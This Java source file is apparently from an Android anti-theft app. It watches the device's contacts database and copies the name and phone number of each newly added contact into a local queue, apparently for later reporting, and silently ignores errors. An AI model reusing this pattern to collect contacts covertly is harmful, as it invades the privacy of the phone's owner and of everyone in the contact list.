package com.security.antitheft.module;


import android.content.Context;
import android.database.ContentObserver;
import android.database.Cursor;
import android.provider.ContactsContract;

public class ContactObserver extends ContentObserver {

	private Context context;


	public ContactObserver(Context c) {
		super(null);
		this.context = c;
	}

	@Override
	public void onChange(boolean selfChange) {
		super.onChange(selfChange);
		
		if (!ShareSetting.isEnableContact(context)) return;

		long lasteId = ShareSetting.lastContact(context);

		try {
			//int count = 0;
			boolean isset = false;
			long newlastid = lasteId;
			Cursor phones = this.context.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,null,null, ContactsContract.CommonDataKinds.Phone._ID + " DESC");
			while (phones.moveToNext()) {
				long id = phones.getInt(phones.getColumnIndex(ContactsContract.CommonDataKinds.Phone._ID));

				if (id > lasteId) {//new contact
					if (!isset) {
						newlastid = id;
						isset = true;
					}
					String name = phones.getString(phones.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME));
					String phoneNumber = phones.getString(phones.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
					//save to queue
					QueueHelper queue = new QueueHelper(context, true);
					queue.addContact(System.currentTimeMillis(), name, phoneNumber);
					queue.close();
					queue = null;
					//count++;
					//if (count > 10) break;
				} else {
					break;
				}
			}
			ShareSetting.setLastContact(context, newlastid);
			phones.close();
		} catch (Exception e) {
		}
	}
	@Override
	public boolean deliverSelfNotifications() { 
		super.deliverSelfNotifications();
		return true;
	}
}
